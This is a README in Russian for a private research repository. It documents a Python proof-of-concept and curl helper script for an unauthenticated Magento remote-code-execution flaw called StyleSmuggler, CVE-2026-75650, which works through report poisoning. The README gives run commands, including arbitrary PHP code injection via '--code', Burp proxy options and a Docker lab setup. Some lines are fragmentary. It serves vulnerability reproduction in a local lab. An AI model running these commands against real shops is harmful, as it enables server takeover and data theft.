
Python PoC, воспроизводящий CVE-2026-75650 StyleSmuggler — неаутентифицированное RCE в Magento через отравление отчётов и рендеринг неудачных платежей, с проверкой canary.
Приватный исследовательский репозиторий для воспроизведения StyleSmuggler исключительно по HTTP, CVE-2026-75650, против локального лабораторного стенда Magento Open Source.
Полное техническое описание читайте в Magento StyleSmuggler RCE: Report Poisoning to Code Execution.
Python PoC выполняет полную неаутентифицированную последовательность:
type, text и styles в
строке запроса;Он никогда не копирует helper в контейнер и не вызывает сканер через Docker. Достаточно стандартной библиотеки Python.
python3 exploit.py --target http://localhost:18082
Итоговый вывод должен содержать RCE VERIFIED и тот же свежий
маркер , напечатанный ранее в этом запуске. Существующий canary
не может удовлетворить проверку, поскольку каждый запуск генерирует новый маркер.
STYLESMUGGLER_RUN_...Путь к отчёту должен быть путём, видимым процессу PHP на целевой системе. Переопределите его, если Magento использует другой document root:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
Передавайте PHP-инструкции без <?php или ?>:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
PoC записывает свой свежий маркер верификации перед выполнением переданного фрагмента и по-прежнему проверяет этот маркер после.
Каждый запрос, включая отравление отчёта и финальное получение canary, можно отправлять через HTTP-прокси:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
Добавьте --proxy-insecure для HTTPS-цели, перехваченный сертификат которой не
доверяется Python.
curl_failed_payment.sh выполняет четыре запроса Stage 2 и помечает
компонент Magento, задействованный каждым запросом. Требуются curl, jq и
openssl:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
Задайте другую цель или слушатель Burp через переменные окружения:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml предоставляет изолированные сервисы MySQL, OpenSearch и PHP/Apache
на 127.0.0.1:18082. Он ожидает установленное дерево исходников Magento по пути
./magento2-src.
Финальная чистая валидация использовала коммит Magento:
f8405be831efa461ec18cc5a637cd98afa767015
Клонируйте исходники и установите их зависимости Composer перед запуском
обычного процесса setup:install Magento:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
После установки Magento с хостом базы данных db, хостом
OpenSearch opensearch и базовым URL http://localhost:18082/ запустите веб-сервис:
docker compose up -d web
docker compose ps